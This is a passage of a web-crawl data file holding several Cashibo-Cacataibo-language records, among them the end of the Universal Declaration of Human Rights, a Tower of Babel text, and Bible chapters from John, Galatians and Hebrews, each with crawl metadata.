mëníoti 'icën.\n- An ñu mëëcë uni raíri unibë timëquin bëtsibë bëtsibë aquiananisa tanquin, ulsoquin cara ain ñu mëëti 'ati 'icë quixun sinánan uisa cara ain ñu meetí icë quixun acama sinánux timëtia ca uni itsin usaquin anun enti icën.\n24.\nCamaxbi ñu mëëtancëx tantiti ca asábi 'icën. 'Uráinra tantiquinma ñu mëëtancëx ca tantití 'icën. Anun tantiti nëtë gobiernonën mënlocësabi oquin ca unin ñu mëëquinmabi ain cupí biti 'icën.\n25.\n- Camabi uni 'imainun ain xanu 'imainun ain bëchicëcama ësai 'iti ca asábi ''icën: 'insincëma chuámarua, pitiñu, chupañu, anu itinu, insincë 'aish roñu 'iti. Uni ain ñu meetí 'alma, uni insince, uni bëtsicë, xanu casunamëcë, uni xëni acama anun upiti 'iti 'alma 'ain, ain aintsin 'aquiniama ca a 'aquinti 'apun mëniotí 'icën.\n- Tuáñu xanucama 'imainun tuácamaribí upití inun ca 'aquincë ití icën. Bëtsi tuácama 'icësaribitia 'inun ca unin xanumi sëcë' ocë tuácama bërúance ití icën.\n26.\n- Camabi tuá ca escuelanu atsintisa tani atsinti 'icën. Cuploquinma ca primaria 'ati pain atsinti 'icën. Camabi tuáratsu ca escuelanu cuanti 'icën. Ui unicama cara escuela tëcnica anu atsintisa tania ca anu cuanti 'icën, apun mëníosabi oi. Secundaria cëñutancëxun bëtsi ñuribi unantisa tani ca bëtsi escuelanuribi atsinti 'icën, ain nota asábi ain.\n- Escuelanuxun ca quiricanu cuënëocë ñuishi 'unanmicëma 'iti 'icën. Anuxun ca alumnocama bëtsi ñu 'atiribi 'unanmicë ití 'icën, 'imainun ca upí oquian alumnonën sinanti aribi 'unanmicë 'iti 'icën. Bëtsi menu 'icë unicama 'imainun bëtsi banan banacë unicama 'imainun Nucën Papa Diosmi sinancë unicama 'imainun ami sinancëma unicama, camabi nusaribi uni 'aish unibë nuibananti ca 'unanmicë 'iti 'icën. Usaquin sinanmicëx ca gobiernocaman xucë unicama timëxun cuëëncësabi oi unicama bëtsibë nishanani 'acananti 'aima ití icën.\n- Bëtsi unin cacësamaira oquin ca ain titabëtan ain papan cati 'icën, uisa escuelanuxuinra cara ain bëchicënën ñu 'unanti ice quixun.\n27.\n- A ëmanu 'icë unicaman 'acësa oquin ca anu 'icë uni rairinën 'aisa tanquin usaribi oquin 'ati 'icën. A ëmanu 'icë unicaman sinancësa oquin ca anu 'icë uni rairinën 'aisa tanquin usaribi oquin sinanti 'icën, camaxunbi ñu 'ati upí oquin 'unánan upiti bucunun.\n- An ñu 'acë uní 'imainun an ñu cuënëocë uni anpan 'acë 'ain ca bëtsi unix, en 'acë ca quiax quitima 'icën. Usai bëtsi unix quiti rabanan ca an ñu 'acë unin 'aisa tanquin an 'acë ñu a 'apu 'unanmiti 'icën.\n28.\nEnë quiricacama quicësabi oi camabi uni uni itsin ublocëma upiti bucuti 'inun ca camabi nëtënu icë unin ain aintsi 'aquinti 'icën.\n29.\n- Camabi únin ca ain ëmanu 'icë unicama 'imainun a 'urama 'icë ain caibucama 'aquianan atubëtan ain ëma 'imainun mecama upí imití icën. Usaquin 'ai cuni ca unix masá sinancëma 'aish upiti 'ití 'icën.\n- Unix ublocë 'aish upiti bucucëma 'imainun unin ñu 'atima 'aquin uni itsiribi ñu 'atima 'amiti 'imainun bëtsi bëtsi ñu sinanquin uni raíri tsuáquirumiti usai 'iti rabanan ca gobiernonën ain unicaman cuati bana mëníoia. Usa oquin mënlocë banacama ca ain unicaman cuati 'icën.\n- Gobiernocaman xucëx tim¿cë unicaman upí oquin sinanquin ca ënë banacama cuënëoxa. Usaribi oquin ca camabi unin ënë bana isquin, usaquin sinanquin 'acë ca enex ice quixun upí oquin sinanti 'icën. An 'acë unicaman sinancë bana ca bëtsiotima 'icën.\n30.\nEnë banacama bëtsioquin ca uinu 'icë uninbi uni raíricama upiti bucunun quixun sinanquinma, 'ëx cuëëncësa oquin 'anun ca a bana quia quixun sinantima 'icën. Uni raíri bëtsi unibë timëcëcama 'imainun gobiernonu ice apucamanribi ca usa oquin sinantima icën.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.ohchr.org\/EN\/UDHR\/Pages\/Language.aspx?LangID=cbr","date":"2013-05-19T14:21:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697681504\/warc\/CC-MAIN-20130516094801-00086-ip-10-60-113-184.ec2.internal.warc.gz","language":"cbr","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":171,"top_langs":"{\"cbr_Latn_score\": 1.0000056028366089}","num_words":2204,"character_repetition_ratio":0.085,"word_repetition_ratio":0.003,"special_characters_ratio":0.221,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"The Tower of Babel (Genesis 11: 1-9)\nCacataibo (Cashibo)\nBabel kakë torre 'akan\n- Usa 'ain ka a nëtëkaman bëtsi bëtsi banan uni banatisamapan 'ain a menu 'ikë unikamax achúshi banáinshi banakëxa.\n- Usai 'i ka auküaxa bari urukë a menu uni chikíkiani 'ura kuankin me barikin Sinar kakë amia mërakëxa, mërakin ka me sapan upí anubi tsótisa mërantankëx anubi tsóti bërukankëxa.\n- Achúshi nëtën ka atúxbi timẽax kanankëxa: Usa 'ain ka a unikaman maxáx 'imainun tsëpasa n̄u akama 'akinma Ladrillo 'imainun asfalto akama kën̄un aín xubukama 'akëxa.\n- Usai kitankëx ka amiribishi kanantëkënkankëxa: Achúshi ëma chaiira 'anan kananauna torre ënën menma uarukin chaiorukin naíbëtan sënën 'ati 'ain. Usakin 'aia iskin ka bëtsi unikaman sinánti 'ikën a unikamax ka sinánn̄uira 'ianan kushiirabu 'ikën kiax ka kiti 'ikën, usa 'ain kananuna nukamax bëtsi mekamanu kuaní abístima 'ain\n- Aínbi ka Nukën 'Ibun usakian ëma 'imainun torre unikaman ënën menma chaiorukin 'akë a ubuxun isakëxa.\n- Ësokin unikaman 'akëbëtan ka Diosan sinánkëxa: Atux ka achúshi ëma chaiira 'anan achúshi baáinshi banaia; usa 'ixun ka ënë n̄u mëëti 'ati siánxun 'aia, bërí ka uínbi ëmitisama 'inun 'aia\n- Usa 'ain ka Nukën 'Ibu Diosan atun n̄u 'aia istisatankëx kiakëxa, bëtsi bëtsi banan bananun kananuna uni 'imiti 'ain, usai 'i ka bëtsin kakëxunbi bëtsin bana kuakámati bënëti 'ikën.\n- Usakian Nukën 'Ibun 'imikëx kamabi neu kuani abískin ka atúan 'akë ëma a ënkankëxa.\n- A menuxun ka Nukën 'Ibun achúshi banáinshi banaiabi unikama bëtsi bëtsi bana bananun 'imiakëxa, kamabi mekamanu kuania amanu amanu kuantanun, usokëx ka mekama oi amanu amanu kuani abísakëxa. Usokian anuxun Nukën 'Ibu Diosan uni bëtsi bëtsi banan banamikë kupín ka Babel kakin anëakëxa.\nSource: Nukën 'Ibu Diosan ain unikama 'inan ain bana. The Bible in Cashibo-Cacataibo. Wycliffe Bible Translators, Inc. , 2011.\nContributed by Wolfgang Kuhl\nCashibo is a Panoan language spoken along the Aguaytía, San Alejandro, and Súngaro rivers in Peru.\nMore information about Kahua\nhttp:\/\/en.wikipedia.org\/wiki\/Cashibo_language\nhttp:\/\/www.ethnologue.com\/language\/cbr\/\nTower of Babel in Panoan languages\nCashibo,\nSharanahua,\nYaminahua\nOther Tower of Babel translations\nBy language |\nBy language family\nLearn Chinese Characters with the Omniglot Chinese app","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.omniglot.com\/babel\/cashibo.htm","date":"2013-12-12T21:04:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164710506\/warc\/CC-MAIN-20131204134510-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"cbr","language_score":0.9883644581,"language_script":"Latn","minhash_cluster_size":59,"top_langs":"{\"cbr_Latn_score\": 0.9883644580841064}","num_words":332,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1\nNucën Papa Diosan Bana uni 'iá\n1Nucën Papa Diosan ñu unioisama pain 'aínbi ca aín Bana 'iacëxa. Aín Bana ax ca Nucën Papa Diosbë 'iacëxa, ax ca Nucën Papa Diosbi 'iacëxa. 2Usa 'ain ca ñu uniocëma pain 'ain aín Bana, ax Nucën Papa Diosbë 'iacëxa. 3Aín Banáinshi ca camabi ñu uniacëxa. Nucën Papa Diosan Bana 'aíma 'ia 'ain ca ñu 'aíma 'ianan ñancáishi 'itsíanxa. 4A bana anúan Nucën Papa Diosan nëtë 'inan 'aish ca camabi ñu 'imainun uníxribi ënë nëtënu bucuia. Usai 'i ca an 'imicëx unicama sinánñu 'icën. 5Ñunshin 'atimanën 'imicëxun unin 'aisama 'iti sinaniabi ca Nucën Papa Diosan Bana ax upíira 'ixun uni upí 'inun 'imia. Usaquian 'imia ca ñunshin 'atimanën a cuati uni upí 'iaxma 'inun quixun Nucën Papa Diosan bana a nëtënima.\n6Uni achúshi ca 'iacëxa Juan caquin anëcë. A ca Nucën Papa Diosan ënë menua unun xuacëxa. 7Ax ca Nucën Papa Diosan Bana, an 'uchañuira 'icëbi uni aín nuitu upí 'imiti, ax ucëbëa ami catamënun camabi uni a ñuixuni uacëxa. 8Juan, ax ca an uni aín nuitu upí 'imiti ama 'iacëxa. Usa 'aíshbi ca axa uti ainra uni aín nuitu upí 'imiti, a unicama ñuixunuan Nucën Papa Diosan ënë menu xucë 'iacëxa. 9An aín sinan upíira 'ixun uni upí 'imiti axa uti ñuiquin ca Juanën unicama ñuixuancëxa.\n10An aín sinan upíira 'ixun uni upí 'imiti ax ca ënë menu 'iacëxa. Usa 'ixun an Nucën Papa Diosbëtan camabi me 'imainun camabi ñucama unio 'icëbi ca unicaman, ui cara ax 'icë quixun 'unánma 'icën. 11Ënë nëtënu 'icë unicaman ca an unio 'ixunbi, atubë 'inúxa ucëbi biisama tancëxa. 12Usa 'ixunbi ca uicamax cara ami sinánan ami catamëtia, acama Nucën Papa Diosan bëchicëa 'inun 'imiacëxa. 13Unían aín xanumi bëchicë tuá ax ca unishi 'ia. Unin bëchicënëxa usa 'aínbi ca usama Nucën Papa Diosan bëchicëcama 'icën. Ax ca aín cushínshia aín bëchicë 'imicë 'icën.\n14Nucën Papa Diosan Bana a ca bëtsi tuásaribi 'inun xanun bacë́ancëxa, uni 'inun. Nucën Papa Diosan sinánsaribi 'ixun ca ënë menu 'icë unicama abë 'ixun nuibacëxa. Ax aín Bëchicë Achúshi 'aish aín Papa Diossaribi 'aish aín sinan upíira upí cananuna isacën. 15Usa 'ain ca Juan, an uni nashimicë, an Nucën Papa Diosan Bana ñui munuma banaquin cacëxa:\n—Ënëx ca a ñuiquin ësaquin 'ën mitsu caëxancë a 'icën: Axa 'ë caxu uti uni ax ca 'ësamaira 'icën. 'Ëx 'icëma pain 'ain ax pain 'iá 'aish ca 'ësamaira 'icën.\n16An ca aín sinan upíira 'ixun ax 'icësaribitinu nun sinan upí 'inun nuibaquin ënquinma nu 'aquinia. 17Uisai cara Nucën Papa Diosan uni 'iti 'icë quixun ca Moisésnën nucën raracama 'unánmiacëxa. Usa 'aínbi ca axira uxun Jesucristonën asérabi nuibaquin aín 'ucha tërë́nquin Nucën Papa Dios cuëëncësabi oía aín uni 'inun 'imiaxa. 18Uinu 'icë unínbi ca Nucën Papa Dios isáma 'icën. Aín Bëchicë Achúshi, axa aín Papabë 'icë, an cuni ca uisa cara Nucën Papa Dios 'icë quixun nu 'unánmiacëxa.\nI. JESUCRISTONËAN GALILEA ME 'IMAINUN JUDEA MENUXUN BANA ÑUIXUAN (1.19-12.50)\nJuanëan Jesús ñuia\n(Mt 3.11-12; Mr 1.7-8; Lc 3.15-17)\n19Usa 'ain ca Jerusalénu 'icë judíos unicaman ax caraisa ui 'icë quixuan Juan ñucátanun, sacerdotecamacëñun levita unicama xuacëxa. 20Xucëx cuanx bëbaxuan ñucácëxun ca parántisama tanquin Juanën cacëxa:\n—'Ëx cana Cristoma 'ain.\n21Cacëxun ca cacëxa:\n—¿Ama 'aish caina ui 'ain? ¿Elías caina 'ain?\nQuixuan cacëxun ca cacëxa:\n—'Ëx cana ama 'ain.\nCacëxun ca ñucátëcëancëxa:\n—¿An Nucën Papa Dios quicë bana unicama ñuixunti uni, axa uti a caina mix 'ain?\nCacëxun ca —ama cana 'ai —quixun cacëxa. 22Usaquin cacëxunbi ca catëcëancëxa:\n—¿Uiira caramina mix 'ain? An nu xucë unicamanu cai cuanun ca mix caramina ui 'ai quixun nu cat.\n23Cacëxun ca Juanën cacëxa:\n—'Ëx cana axa anu uni 'icëma menuax munuma banacë uni a 'ain, ësai qui: \"Nucën 'Ibu ca aia, camina axa anun uti bai mëníoquin racanati 'ain\". An ënë bana cuënëo, Isaías, an Nucën Papa Dios quicë bana unicama ñuixuncë, axa quiásabi oi cana 'ëx 'in.\n24Axa usaquin Juan ñucati cuancë unicamax ca fariseo unicaman xucë 'iacëxa. 25Usa 'ixun ca Juan catëcëancëxa:\n—¿Mix Cristoma 'ianan Elíasma 'ianan an Nucën Papa Dios quicë bana unicama ñuixunti, axa uti ama 'ixunbi caina min uisa cupí unicama 'unpaxan nashimin?\n26Cacëxun ca Juanën cacëxa:\n—'Ën cana uni 'unpaxan nashimin, 'aínbi ca mitsúnmi 'unáncëma uni achúshi mitsubë 'icën. 27Ax 'ësamaira 'aish ca mitsúnmi 'unánun 'ë caxu aia. 'Ëx 'iisama pain 'ain, ax pain 'iá 'aish ca 'ësamaira 'icën. Axa upíira 'aish cushiira 'ain cana 'ëx asaribima 'aish ami rabini a 'urama 'itima 'ain. Usai 'iquin cana aín taxacabi tubuxuntima 'ain.\n28Jordán 'ucëmanan 'icë Betábara cacë ëma anuxuan unicama nashimicë, anu cuanx ca unían xucë unicama usai Juanbë banacëxa.\nCarnero 'icësaribitia unin 'ucha cupí bamati, Cristo, a ñuicë bana\n29Usaquin unicama coónxun ca Juanën Jesús aia isacëxa. Aia isi ca quiacëxa:\n—Ca is, ënëx ca unin 'ucha cupí carnero bamati 'aínbia ax bamacë cupí Nucën Papa Diosan camabi unin 'ucha tërë́nti a 'icën. 30Ënëx ca a ñuiquin ësai quiquin 'ën mitsu cacë a 'icën: Axa 'ësamaira uni ax ca 'ë caxu aia. 'Ëx 'icëma pain 'ain ca ax pain 'iacëxa. Usa 'aish ca 'ësamaira 'icën. A ñuiquin 'ën mi cacë, a ca ux 'icën. 31'Ënribi cana a 'unáncëma 'ain, 'aíshbi cana Israel unicaman uisa uni cara quixun a 'unánun 'unpaxan uni nashimi uan.\n32,33Usaquin catancëxun ca, ësai ca 'iaxa quixun Juanën unicama ñuixuancëxa:\n—'Ën a 'unáncëma 'icëbi ca Nucën Papa Diosan 'ën 'unpaxan uni nashiminun xuquin 'ë caxa: \"Uni achúshinua 'ën Bëru Ñunshin Upí ubútancëx 'iruia camina isnuxun 'ain. Ainra ca uni 'ën Bëru Ñunshin Upíbëa 'inun 'imiti 'icën\". Usaquin ca 'ë caxa. An 'ë cacësabi oquin cana Nucën Papa Diosan Bëru Ñunshin Upía ñumacuru tinax naínuax ubútancëx a uninu 'iruia isan. 34Usaquin isun cana —ax ca Nucën Papa Diosan Bëchicë 'icë —quixun camabi uni cain.\nUsaquin ca Juanën cacëxa.\nJesusan aín 'unánmicë unia 'inun a pain caísa uni\n35Usaquian coon ca Juanbë aín 'unánmicë uni rabë́ 'iacëxa. 36Abë 'icë ca Jesús cuainia isquin Juanën cacëxa:\n—Ca is, carnero 'icësaribiti unin 'ucha cupí bamanuan Nucën Papa Diosan xua a ca ux 'icën.\n37Usaía quia cuaquin ca Juanën 'unánmicë uni rabëtan Jesús nuibiancëxa. 38Nuibiancëxun caxu bësuquin isquin ca Jesusan cacëxa:\n—¿Añu caramina barin?\nCacëxun ca ñucácëxa:\n—¿Uinu cara min 'iti 'ic, rabí? (Rabí quicë bana, ax ca an uni 'unánmicë uni qui quicë 'icën.)\n39¿Uinu 'icë cara min 'iti 'ic? quixun cacëxun ca Jesusan cacëxa:\n—Isi cuanun ca ut.\nCacëx cuanxun ca aín 'iti isacëxa, istancëx ca bari xupíbucëbëa baquíshti 'urama 'ain abë 'iacëxa.\n40Juanën cacëxun cuaquian Jesús nuibiancë uni rabëtax ca bëtsix Simón Pedronën xucën Andrés 'iacëxa. 41Jesusan 'itinuax cuanxun ca Andrésnën aín xucën Simón Pedro bariquin mëraxun cacëxa:\n—Mesías cananuna isan.\nMesías quicë bana, ax ca Cristo, axa utia judíos unicaman caíncë a qui quicë 'icën. 42Cabianquin ca aín xucën Jesúsnu buáncëxa. Buáncëx bëbaia isquin ca Jesusan bëñachaquin cacëxa:\n—Mix camina Juanën bëchicë, Simón, a 'ain. 'Aíshbi camina Cefas caquin anëcë 'iti 'ain.\nCefas quicë bana, ax ca Pedro qui quicë 'icën.\nJesusan Felipe 'imainun Natanael abë cuanun ca\n43Usaquian Pedro coon pëcaracëbë, Galilea menu cuanti sinani cuanquinbi ca Jesusan Felipe mëracëxa. Mëraquin ca cacëxa:\n—'Ën mi 'unánminun ca 'ëbë cuani ut.\n44Felipe Betsaida ëmanu 'icë uni 'ain, ca Andrés 'imainun Pedroribi, anu 'icë uni 'iacëxa. 45Usaquian Jesusan cacëx cuanxun ca Felipenën Natanael cacë uni bariquin mëraquin cacëxa:\n—A ñuiquian Moisés 'imainun an Nucën Papa Diosan sinánmicëxun uni bana ñuixuncë unicaman cuënëo, a uni cananuna mëran. Ax ca Jesús, Nazaretnu 'icë uni, Josénën bëchicë, a 'icën.\n46Felipenën cacëxun ca Natanaelnën cacëxa:\n—¿Nazaret ëmanu cara ñu 'unáncë uni 'iti 'ic?\nCacëxun ca Felipenën cacëxa:\n—Usa ca mi isnun ca 'ëbë cuani ut.\n47Cabianquin buáncëxa Natanael aia isi ca Jesús quiacëxa:\n—U unix ca asérabi Israel uni upí 'icën, uni paráncëma ca ux 'icën.\n48Quia ca Natanaelnën cacëxa:\n—¿Uisaxun caramina 'ë 'unan?\nCacëxun ca Jesusan cacëxa:\n—Mi caia Felipe cuancëma pan 'aínbi cana mi higuera tanáinua isan.\n49Cacëxun ca Natanaelnën cacëxa:\n—Mix camina Nucën Papa Diosan Bëchicë 'ianan Israel unicaman 'apu 'ain.\n50Cacëxun ca Jesusan cacëxa:\n—¿Higuera tanáinua cana mi isan 'ën mi cacëxun caramina bërí, ënëx ca Nucën Papa Diosan Bëchicë 'icë quixun 'ë sinanin? Minmi 'ë iscësamaira oquin camina 'ën ñu 'aia isnuxun 'ain.\n51Ësaquinribi ca Jesusan Natanael cacëxa:\n—Asérabi cana mitsu cain, naí panárabëcëbëtan camina uni 'inux 'ëx anuax uá, 'ë manáminuaxa Nucën Papa Diosan ángelcama cuaruanan ubutia isnuxun 'ain.\nLoading reference in secondary version...","id":"","dump":"CC-MAIN-2014-10","url":"https:\/\/www.bible.com\/en-GB\/bible\/541\/jhn.1.cbrnt","date":"2014-03-10T10:30:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010745689\/warc\/CC-MAIN-20140305091225-00019-ip-10-183-142-35.ec2.internal.warc.gz","language":"cbr","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"cbr_Latn_score\": 1.0000094175338745}","num_words":1365,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"PABLONËAN GALACIANU 'ICË UNICAMA BUÁNMIA QUIRICA\n1\nGalacia menuaxa ax Jesucristomi catamëcë unicama Pablonën quirica cuënëoxuan\n1 'Ëx cana Pablo 'ain. Unin ca Jesucristo ñuiquin uni bana ñuixunun 'ë caísama 'icën. Nucën Papa Dios, an a bamacë 'icëbi baísquimicë, abëtan ca Jesucristonën aín bana ñuixunun 'ë caísacëxa. 2 Ënu 'icë axa ami catamëcë unicamabëtan cana Galacia mecamanu 'icë ëmacamanuaxmi Jesucristomi catamëcë 'icë, ënë quirica mitsu cuënëoxunin. 3 Nucën Papa Diosbëtan Nucën 'Ibu Jesucristonën mitsu nuibaquin 'aquincëxmi chuámarua 'aish bucucanti cana cuëënin. 4 Ënë menu 'icë ñuishi 'atia an sináncë unicaman 'acësaribi oquin ñu 'atima 'ati rabanan nu ië́mi ca ax bamatsianxmabi nun 'ucha cupí bamacëxa, Nucën Papa Dios cuëëncësabi oi. 5 Nucën Papa Dios ax ca unicaman xënibua 'aínbi rabicë 'iti 'icën. Usaquin ca 'ati 'icën.\nJesucristomi catamëtishi ca uni Nucën Papa Diosan iscëx upí 'icë quicë bana\n6 Cristonën nuibacë 'aíshmi ainan 'inúan Nucën Papa Diosan caísquin sinánmicë 'ixunbimi mitsun aín bana ënquin bëtsi bana cuacëbëtan, cana uisacatsi caramina usari 'icani quixun sinanin. 7 Anúan uni aín 'ucha tërë́ncë 'aish Nucën Papa Diosnan 'inux ië́ti bëtsi bana ca 'aíma 'icën. Usa 'aínbi ca uni raírinën mitsu 'atimaquin sinánmiquin a bana bëtsi oisa tanquin bëtsi oquin ñuia. 8 Uin cara nun nu Cristo ñuiquin mitsu ñuixuncë Nucën Papa Diosnan 'inux anun uni ië́ti bana, abi ñuixunquinma bëtsi bana mitsu ñuixunia, a ca Nucën Papa Diosan uisa cara oti 'icë usoquin 'ati 'icën. Usoquin ca 'ë 'imainun naínuax ucë ángelribi, bëtsi bana uni ñuixuncë 'icë, 'ati 'icën. 9 'Ën cacësaribi oquin cana mitsu catëcënin, ui unin cara nun ñuixuncëxunmi cuacë a banama bëtsi bana mitsu ñuixunia, a ca Nucën Papa Diosan uisa cara oti 'icë usoquin 'ati 'icën.\n10 ¿Ësaquin mitsu caquin carana unían 'ëx cana asérabi upí 'ai quixun 'ë rabiti sinan? Usaquin sinánquinma cana Nucën Papa Diosan 'ë upí isti sinan. ¿Carana unicamabë upí 'iti sinan? Cana usaquin sinaniman. Nucën Papa Diosma unishi cuëënmiti sinani cana Cristonën unima 'itsían.\nUisax cara Pablo an Jesucristonën bana uni ñuixuncë uni 'iacëxa quicë bana\n11 'Ën xucë́antu, mitsúnmi 'unánun cana ësaquin mitsu cain, Jesucristo ñui quicë bana 'ën mitsu ñuixuncë ax ca unínbia sináncë banama 'icën. 12 A bana cana unin ñuia cuacëma 'ain. Uinu 'icë unínbi ca a bana 'ë 'unánmicëma 'icën. Jesucristonënshi ca a bana 'ë 'unánmiaxa. 13 'Ën judíos unicama cuëëncësa oquin ñu 'aia unin ñuia camina cuacën. 'Ën cana axa Jesucristomi catamëcë unicama 'aisamaira oquin bëtsi bëtsi ocën, Jesucristomi sinánti bana ënun quixun. 14 Usoquin 'anan cana judíos unin sináncësa oquinshi sináncën. 'Ën aintsi 'ëbë sënë́nburibi an 'acësamaira oquin cana uni apáncaman 'ë 'unánmicësa oquinshi 'ën chaitinën ñuiasabi oquin 'aisa tancën, 'ëx asérabi judío uniira 'ixun. 15 Usai 'iabi ca Nucën Papa Diosan, 'ën titan pucu mëucüabi 'ë aín bana ñuixunun caísa 'ixun nuibaquin asérabi ainan 'inun 'ë sinánmiquin, 16 aín Bëchicëmi catamëti 'unánmianan, atúxribia ami catamënun judíosma unicamaribi bana ñuixunun 'ë 'imiacëxa. Usaquin 'anúan 'imicëxun cana uibi uisai carana 'iti 'ai quixun ñucáma 'ain. 17 'Ën a 'unáncëma pain 'aían a pain aín bana ñuixunun Cristonën caísa uni camabi ñucati cana Jerusalénu cuánma 'ain. Anu cuaníma cana Arabia cacë menushi cuantancëx Damásconu cuantëcëancën.\n18 Rabë́ 'imainun achúshi bari inúcëbë pain cana Jerusalénu Pedro isi cuancën. Cuanx cana anu abë rabë́ semana 'imainun achúshi nëtë 'iacën. 19 Aribia Nucën 'Ibu Jesusan aín bana ñuixunun caísa uni raíri isquinmabi cana Jacobo, Nucën 'Ibu Jesusan xucën, ashi isacën. 20 'Ën a cuënëoquin mitsu cacë bana ënëx ca cëmëma 'icë quixun ca Nucën Papa Diosan 'unania.\n21 Jerusalénu 'itancëx cana Siria me 'imainun Cilicia menu cuancën. 22 Usa 'ain ca Judea menu 'icë ëmacamanu 'icë axa Jesucristomi catamëcë unicaman 'ë 'unánma 'icën. 23 'Unánquinmabi ca ësaquian 'ë ñuicania cuacëxa: An nu bëtsi bëtsi o uni, an ca bërí Jesucristomi catamënun quixun unicama bana ñuixunia, ami catamëtia ënun quixun unicama bëtsi bëtsi o 'ixunbi. 24 Usaquian 'ë ñuia cuaquin ca Nucën Papa Dios rabiacëxa.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/GAL01.htm","date":"2021-12-02T17:59:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00182.warc.gz","language":"cbr","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.000006079673767}","num_words":617,"character_repetition_ratio":0.093,"word_repetition_ratio":0.023,"special_characters_ratio":0.21,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2\nJesucristomi catamëti ië́tisama tantima bana\n1 Usa 'ain cananuna Nucën Papa Diosan Bëchicë ñui quicë bana a upí oquinra bëmë́quin cuati 'ain, a bana manuquinma ax quicësabi oquin 'anuxun. 2 Bëráma ca ángelcaman 'aquinmainun Nucën Papa Diosan nucën raracama ñuixunun quixun, Moisés aín bana 'ináncëxa. Usa 'ain ca raírinën a bana quicësabi oquin 'amainunbia an a bana quicësabi oquin 'acëma unicama, a Nucën Papa Diosan atun 'ucha cupíbi castícancëxa. 3 ¿Asérabi usa 'ain caranuna nux —Jesucristomi catamëtia uni Nucën Papa Diosnan 'inun ië́ti bana a cuatíbi, a bana quicësabi oi 'icëma 'aish uisa tancëx ië́ti 'ain? A bana anun nun 'ucha tërë́ncë 'aish Nucën Papa Diosnan 'inux ië́ti, a ca Nucën 'Ibu Jesucristonën pain unicama ñuixuancëxa. Usa 'ain ca an cuacë uni raírinën, a bana ca asérabi 'icë quixun 'unánquin, nuribi 'unánmiacëxa. 4 A unicama ca Nucën Papa Diosan uni itsin 'acëma ñu 'anun 'amiacëxa, an aín bana ñuixunia cuacë unicaman, asérabi ca aín bana 'icë quixun 'unánun. 'Imianan ca atu bëtsi bëtsi ñua 'anun aín Bëru Ñunshin Upí 'ináncëxa, ax cuëëncësabi oquin.\nAxa ami catamëti unicamasaribia Jesucristo 'iá bana\n5 Aín unicama cara uisai 'iti 'icë quixun ñuiquin cana mitsu cain, Nucën Papa Diosan ca ángelcama —mitsux camina 'ën unicaman 'apu 'iti 'ai —quixun cáma 'icën. 6 Usama 'aínbi ca bëráma Nucën Papa Diosan bana cuënëo ësai quia:\nNucën Papa Dios, ¿axa añu 'icë caramina uni sinánxunin? ¿Axa añu 'ain caramina axa chëquiti unicama 'aisamaira oquin sinanin? 7 Min camina usabi 'inuxmabia ángelcamabë sënë́nmara 'inun uni 'imiacën. Usa 'imiquinbi camina minan 'aísha mibë xënibua 'aínbi 'itioquin 'imianan min unio ñucamaribi 'ibuamiacën. 8 Usonan camina unicama camabi ñu aín 'ibu 'inun 'imiacën.\nUsa 'ain ca camabi ñun 'ibu 'inun 'imiquin Nucën Papa Diosan añu ñubi an 'ibuacëma 'itimoquin unicama uniocëxa. Usa 'aínbi cananuna 'unanin, camabi ñuira ca unin 'ibuacëma pain 'icën. 9 Usa 'aínbi cananuna Jesús 'unanin. A ca Nucën Papa Diosan, usabi 'inuxmabi ënë menu uni 'aish ángelcama meura 'inun xuacëxa. Unicama nuibaquian Nucën Papa Diosan sinánsabi oi ca ax camabi unin 'ucha cupí bamacëxa. Usa 'icëbi ca paë tani bamacë cupí baísquimitancëxun Nucën Papa Diosan aín nëtënu abë 'Apu 'inun 'imiacëxa. Usa 'icëbi ca paë tani bamacë cupí baísquimitancëxun Nucën Papa Diosan aín nëtënu abë 'Apu 'inun 'imiacëxa.\n10 Nucën Papa Diosan ca camabi ñu ainan 'inun uniocëxa. Usoquin 'á 'aish ca, an aín bana cuacë aín bëchicëcamaxa aín nëtënu abë 'iti cuëënia. Usa 'ixun ca axa uni 'aish tëmëranan paë tani bamacë cupíshi Nucën Papa Diosan ainan 'inun uni ië́minun Jesucristo 'imiacëxa. 11 Jesús, an aín unicama Nucën Papa Diosan iscë́xa upí 'inun 'imicë a 'imainun an usaquin 'imicë unicama, acaman Papa ca Nucën Papa Dios 'icën. Usa 'ain ca Jesús aín unicama sinani rabinima, atux ca 'ën xucë́antu 'icë quia, 12 aín bana quiricanu cuënëo quicësabi oquian aín Papa ësaquin cásabi oi:\nUsa camina mix 'ai quixun cana 'ën xucë́antu ñuixunti 'ain. Min unicamaxa timë́cë, abëtan cana mi rabiti 'ain.\n13 Ësaribitia Jesús quiá ca cuënëo bananu 'icën:\n'Ëx cana 'ën Papa Diosmi catamëtin.\nËsaribi ca cuënëo bananu 'icën:\n'Ëx cana ënu 'ain, 'ën Papa Diosan 'ë 'ináncë aín bëchicëcamabë.\n14 Achúshi unin bëchicëcamax ca aín xucë́nsaribi 'ia. Usaribiti ca Nucën Papa Diosan bëchicëcamaxa uni 'ain, axribi uni 'inux Jesús uacëxa. Uni 